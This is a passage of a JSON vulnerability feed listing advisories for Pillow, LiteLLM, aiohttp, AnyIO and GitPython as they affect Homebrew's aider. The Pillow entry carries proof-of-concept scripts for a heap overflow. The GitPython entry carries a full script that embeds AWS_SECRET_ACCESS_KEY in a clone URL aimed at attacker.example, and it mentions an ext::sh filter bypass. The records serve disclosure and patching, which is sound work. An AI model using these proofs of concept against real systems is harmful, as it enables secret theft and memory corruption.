width`\nbytes to each output row. If the supplied output image is mode `L`, Pillow only\nallocated `1 * width` bytes for that row.\n\nFor width 4096:\n\n```text\ndestination row allocation: 4096 bytes\nLittleCMS write size:       16384 bytes\noverflow:                  ~12288 bytes past the row\n```\n\nThe bug does not require a large image. Width 8 was enough to corrupt heap\nmetadata. At width 8, `apply()` returned to Python and printed `after`; glibc\ndetected the corrupted heap later during cleanup.\n\n### PoC\n\nTiny heap corruption trigger:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (8, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (8, 1), 0)\n\nprint(\"before\", flush=True)\ntransform.apply(im, out)\nprint(\"after\")\n```\n\nObserved locally on Pillow `12.3.0.dev0`:\n\n```text\nbefore\nafter\nfree(): invalid next size (normal)\nAborted (core dumped)\n```\n\nControlled overwrite evidence PoC:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (4096, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (4096, 1), 0)\n\ntransform.apply(im, out)\n```\n\nRun under gdb:\n\n```bash\ngdb -q --batch -ex run -ex bt --args \\\n  python3 b022_controlled.py\n```\n\nObserved on Pillow `12.3.0.dev0`:\n\n```text\nProgram received signal SIGSEGV, Segmentation fault.\n___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)\n#1 _cmsLockPrimitive (m=0x4443424144434241)\n#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)\n#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)\n#4 cmsSaveProfileToIOhandler(...)\n#5 cmsSaveProfileToMem(...)\n#6 cms_profile_tobytes (...) at src/_imagingcms.c:152\n```\n\n`0x4443424144434241` is the attacker-controlled source pixel pattern\n`b\"ABCDABCD\"` interpreted as a little-endian pointer-sized value.\n\nUsing source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of\n`0x403020104030201`, matching the repeated pixel bytes.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native ImageCms extension,\nreachable through public API.\n\nApplications are impacted if untrusted users can control ImageCms transform\nparameters and/or provide the output image object passed to\n`ImageCmsTransform.apply()`. The source image pixels influence the bytes written\nout of bounds.\n\n## Suggested fix\n\nValidate modes before calling into the native transform:\n\n```python\ndef apply(self, im, imOut=None):\n    if im.mode != self.input_mode:\n        raise ValueError(\"input mode mismatch\")\n    if imOut is None:\n        imOut = Image.new(self.output_mode, im.size, None)\n    elif imOut.mode != self.output_mode:\n        raise ValueError(\"output mode mismatch\")\n    self.transform.apply(im.getim(), imOut.getim())\n    imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n    return imOut\n```\n\nThe C extension should also defensively reject mismatched image modes before\ncalling `cmsDoTransform()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59205"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9715"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59819","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-4g5m-c9r5-49xf","CVE-2026-59819","PYSEC-2026-3476"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.10","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Local file read via request-supplied OIDC file references","details":"### Impact\n\nLiteLLM's `/health/test_connection` endpoint resolved request-supplied environment and OIDC file references in `litellm_params`. A proxy administrator, or another privileged caller with permission to test model connections, could cause LiteLLM to read files from the local filesystem via an `oidc/file/` reference.\n\nBecause exploitation requires privileged proxy access, this is treated as a defense-in-depth issue rather than a cross-tenant privilege bypass.\n\n### Patches\n\nThe issue is fixed in `1.83.10-stable`.\n\nLiteLLM recommend upgrading to `1.83.10-stable` or later.\n\n### Workarounds\n\nRestrict `/health/test_connection` access to trusted administrators only.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-4g5m-c9r5-49xf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59819"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/25592"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.10-stable"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59820","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-5jmr-gcrj-2c9q","CVE-2026-59820","PYSEC-2026-3477"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.7","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Arbitrary file write via path traversal in Skills archive extraction","details":"### Impact\n\nLiteLLM Skills archive extraction did not sufficiently validate file paths from uploaded skill ZIP archives. An authenticated user with access to LiteLLM LLM API routes, or a key whose `allowed_routes` includes `/v1/skills`, `anthropic_routes`, or `llm_api_routes`, could upload a crafted skill archive containing path traversal entries.\n\nWhen the skill was processed for execution, those entries could be written outside the intended extraction/staging directory. This could allow arbitrary file write and may lead to code execution depending on deployment configuration and writable paths.\n\n### Patches\n\nThe issue is fixed in `1.83.7-stable`.\n\nLiteLLM recommens upgrading to `1.83.7-stable` or later.\n\n### Workarounds\n\nIf upgrading is not immediately possible:\n\n1. Block `POST /v1/skills` at your reverse proxy or API gateway.\n2. Restrict Skills API access to trusted users only.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-5jmr-gcrj-2c9q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59820"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/25475"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/6a15adcd64137d37f73dee76dfe7481f8c2d9196"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59821","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-72m8-9m7m-h278","CVE-2026-59821","PYSEC-2026-3478"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.82.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Custom Code Guardrails production endpoints bypass code safety checks","details":"### Impact\n\nLiteLLM's Custom Code Guardrails production create/update paths did not apply the same sandboxing and validation used by the test endpoint.\n\nA privileged user with access to create or update guardrails could submit custom Python code that executed in the LiteLLM proxy environment. In deployments without a configured master key, callers could be treated as proxy administrators, making this reachable without intended administrative authorization.\n\nThis could allow arbitrary code execution in the LiteLLM proxy container and exposure of secrets available to the process.\n\n### Patches\n\nThe issue is fixed in `1.82.0-stable`.\n\nLiteLLM recommend upgrading to `1.82.0-stable` or later.\n\n### Workarounds\n\nIf upgrading is not immediately possible:\n\n1. Restrict access to `POST /guardrails` and `PUT /guardrails/{guardrail_id}` to trusted administrators only.\n2. Ensure `LITELLM_MASTER_KEY` is configured.\n3. Avoid enabling Custom Code Guardrails for untrusted users.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-72m8-9m7m-h278"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59821"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/e50b4486d0f7aa0497185a1ebcdd2c91f1769eba"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.82.0-stable"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59822","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-7488-6r32-c95q","CVE-2026-59822","PYSEC-2026-3479"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.84.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: MCP Authentication Bypass via OAuth2 Passthrough Fallback","details":"### Impact\n\nLiteLLM's MCP Streamable HTTP endpoint could allow an unauthenticated attacker to establish an authenticated MCP session using an arbitrary Bearer token.\n\nThe MCP auth handler supported OAuth2 passthrough for upstream MCP servers, but the fallback path could replace failed LiteLLM key validation with an empty `UserAPIKeyAuth()` object. This allowed requests with a fabricated `Authorization` header to reach MCP tooling without a valid LiteLLM key.\n\nAn attacker could use this to list and call configured MCP tools and access connected services exposed through MCP.\n\n### Patches\n\nThe issue is fixed in `1.84.0`.\n\nWe recommend upgrading to `1.84.0` or later.\n\n### Workarounds\n\nIf upgrading is not immediately possible, disable MCP routes or block access to `/mcp/` and related MCP endpoints at your reverse proxy or API gateway.\n\n### References\n\n* [v1.84.0](https://github.com/BerriAI/litellm/releases/tag/v1.84.0)","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-7488-6r32-c95q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59822"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/26463"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/73869f0faf7d11ee21adcb5f91b8c33a340b6c2c"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.84.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59823","published":"2026-09-20T11:37:05Z","modified":"2026-10-02T09:56:10Z","upstream":["GHSA-hx8v-g79f-8w5f","CVE-2026-59823","PYSEC-2026-4070"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.9","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM Proxy has server-side request forgery via the `user_config` request parameter","details":"### Summary\nA server-side request forgery in LiteLLM Proxy lets an authenticated caller redirect the\nproxy's outbound request to a host of their choosing by smuggling an `api_base` inside the\n`user_config` request body, bypassing the existing parameter guard.\n\n### Details\nLiteLLM Proxy validates request bodies with `is_request_body_safe`, which blocks the\n`api_base` and `base_url` parameters but does not cover `user_config`. The `user_config`\nobject is used to build the outbound router for a request, so a caller can place an\n`api_base` inside it and reach an arbitrary host. The guard only inspected the two\ntop-level keys, so the same `api_base` nested inside `user_config` was never checked.\n\nExploitation requires a valid virtual key.\n\n### Impact\nAn authenticated caller can make the proxy issue server-side requests to internal or\nexternal hosts of their choosing, reaching endpoints the caller cannot otherwise access.\n\n### Affected / Patched\nAffected: `<= 1.83.8`\nPatched: `1.83.9`\n\n### Remediation\nUpgrade to 1.83.9 or later (released 2026-04-17).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-hx8v-g79f-8w5f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59823"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/25827"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/47214be317f45a2d2ac08258362e0481411eb427"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59881","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-mq44-7p77-q5h7","CVE-2026-59881","PYSEC-2026-3547"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate","details":"### Summary\n\nThe client accepts and decompresses frames with the RSV1 bit set even when the `permessage-deflate` extension was not negotiated.\n\n### Impact\n\nA client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mq44-7p77-q5h7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59881"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/12978"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"http://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-63374","published":"2026-09-20T11:37:03Z","modified":"2026-10-02T09:56:09Z","upstream":["GHSA-82r6-8w77-94w6","CVE-2026-63374","PYSEC-2026-4025"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.14.2","resource":"anyio","resource_purl":"pkg:pypi/anyio@4.12.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"anyio","subject_version":"4.12.1","key":"pkg:pypi/anyio@4.12.1","resource":"anyio"}]},"summary":"AnyIO: TLSStream IDNA 2003 host name encoding enables potential TLS certificate spoofing","details":"### Impact\nServices using internationalized (non-ASCII) domain names are potentially vulnerable to TLS connections made from AnyIO's `connect_tcp()` or directly via `TLSStream.wrap()` where the connection has (through other means) been hijacked and redirected to a malicious server. The attacker would obtain a legitimate certificate using the IDNA 2003 encoded version of the domain name and offer it to the connecting client, making the certificate validate properly on the client's end.\n\n### Patches\nThe vulnerability will be patched in v4.14.2.\n\n### Workarounds\nEncode host names via the `idna` package prior to connecting.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/agronholm/anyio/security/advisories/GHSA-82r6-8w77-94w6"},{"type":"WEB","url":"https://github.com/agronholm/anyio/pull/1208"},{"type":"WEB","url":"https://github.com/agronholm/anyio/commit/68f58915f82d9be8109ebbbd8f5d70577d43f2ce"},{"type":"PACKAGE","url":"https://github.com/agronholm/anyio"},{"type":"WEB","url":"https://github.com/agronholm/anyio/releases/tag/4.14.2"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-64847","published":"2026-09-20T11:37:03Z","modified":"2026-10-02T09:56:09Z","upstream":["GHSA-5p39-cfhj-2xmp","CVE-2026-64847","PYSEC-2026-4024"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.14.2","resource":"anyio","resource_purl":"pkg:pypi/anyio@4.12.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"anyio","subject_version":"4.12.1","key":"pkg:pypi/anyio@4.12.1","resource":"anyio"}]},"summary":"AnyIO process-pool workers can block indefinitely on undrained stderr","details":"### Impact\nAnyIO starts process-pool workers with stderr connected to a pipe but never drains that pipe. The worker redirects stdin and stdout to /dev/null to protect its protocol, but does not redirect stderr even though the documentation says all three standard streams are redirected. Worker code that writes enough attacker-influenced data to stderr can fill the pipe, block before returning the stdout protocol response, and wedge the awaiting process-pool call.\n\nAnyone who runs untrusted or faulty code that writes too much to `stderr` is at risk.\n\n### Patches\nThis vulnerability will be patched in v4.14.2.\n\n### Workarounds\nClosing `sys.stderr` in the target function should at least prevent the deadlock.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/agronholm/anyio/security/advisories/GHSA-5p39-cfhj-2xmp"},{"type":"WEB","url":"https://github.com/agronholm/anyio/pull/1207"},{"type":"WEB","url":"https://github.com/agronholm/anyio/commit/f1b7301c8264b0d2e8d24a5788fd29e93dea4040"},{"type":"PACKAGE","url":"https://github.com/agronholm/anyio"},{"type":"WEB","url":"https://github.com/agronholm/anyio/releases/tag/4.14.2"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-67322","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-rwj8-pgh3-r573","CVE-2026-67322","PYSEC-2026-3842"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.52","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL","details":"### Summary\n`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in \"import repository from URL\" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n### Details\n**Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50), lines 907–925:\n```python\n@classmethod\ndef polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:\n    \"\"\"Remove any backslashes from URLs to be written in config files.\n    ...\n    \"\"\"\n    if is_cygwin is None:\n        is_cygwin = cls.is_cygwin()\n\n    if is_cygwin:\n        url = cygpath(url)\n    else:\n        url = os.path.expandvars(url)          # <-- line 921\n        if url.startswith(\"~\"):\n            url = os.path.expanduser(url)\n        url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n    return url\n```\n\n`Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines 1407–1418:\n```python\nif not allow_unsafe_protocols:\n    Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n    Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options and multi:\n    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc = git.clone(\n    multi,\n    \"--\",\n    Git.polish_url(url),          # <-- line 1417: expanded URL sent to `git clone`\n    clone_path,\n    ...\n)\n```\n\nBecause `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point.\n\n`polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a \"Valid git url\". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning (\"The use of environment variables in paths is deprecated for security reasons\", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.\n\n### PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis passed through os.path.expandvars() before being given to `git clone`,\nso `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable values and transmitted to the attacker-named host.\n\nThe PoC intercepts the Popen argv to show the exact URL handed to `git`\nwithout performing real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n# Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git                              # noqa: E402\nfrom git import Git, Repo               # noqa: E402\n\nprint(f\"gitpython version: {git.__version__}\")\n\n# --- Layer 1: Git.polish_url() directly --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\"  input : {attacker_url}\")\nprint(f\"  output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"] in polished:\n    print(\"  -> secret SUBSTITUTED into URL by polish_url()\")\n\n# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n    def __init__(self, cmd, *a, **kw):\n        if isinstance(cmd, (list, tuple)) and \"clone\" in cmd:\n            captured[\"cmd\"] = list(cmd)\n        super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport git.cmd as gitcmd                # noqa: E402\ngitcmd.safer_popen = CapturingPopen     # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n    Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception as e:\n    # The clone fails (attacker.example does not resolve); we only need argv.\n    print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor tok in captured.get(\"cmd\", []):\n    print(f\"  {tok}\")\n\ncmd = captured.get(\"cmd\", [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer 2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif url_arg and secret in url_arg:\n    print(\n        \"\\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated \"\n        \"into the remote clone URL; git would transmit it to attacker.example.\"\n    )\n    sys.exit(0)\nprint(\"\\nNOT VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version: 3.1.50\n\n[Layer 1] polish_url result:\n  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n  output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n  -> secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n  git\n  clone\n  -v\n  --\n  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n  /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.\n```\n\nThe captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.\n\n### Impact\nAny application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled — the canonical pattern for \"import/mirror repository from URL\" features in CI systems, source-code hosting platforms, dependency 